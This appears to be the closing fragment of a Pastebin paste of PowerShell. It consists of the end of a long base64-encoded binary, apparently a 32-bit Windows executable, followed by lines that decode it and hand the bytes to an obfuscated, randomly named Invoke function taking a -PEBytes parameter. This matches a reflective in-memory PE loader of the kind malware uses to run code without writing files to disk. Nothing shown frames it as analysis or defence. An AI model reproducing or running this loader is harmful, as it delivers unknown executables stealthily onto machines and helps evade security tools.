AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA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"
  2761. [Byte[]]$PEBytes = [Byte[]][Convert]::FromBase64String($PEBytes32)
  2762. Invoke-LPLOHDNVEOATGHH -PEBytes $PEBytes
  2763.  
  2764. }
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top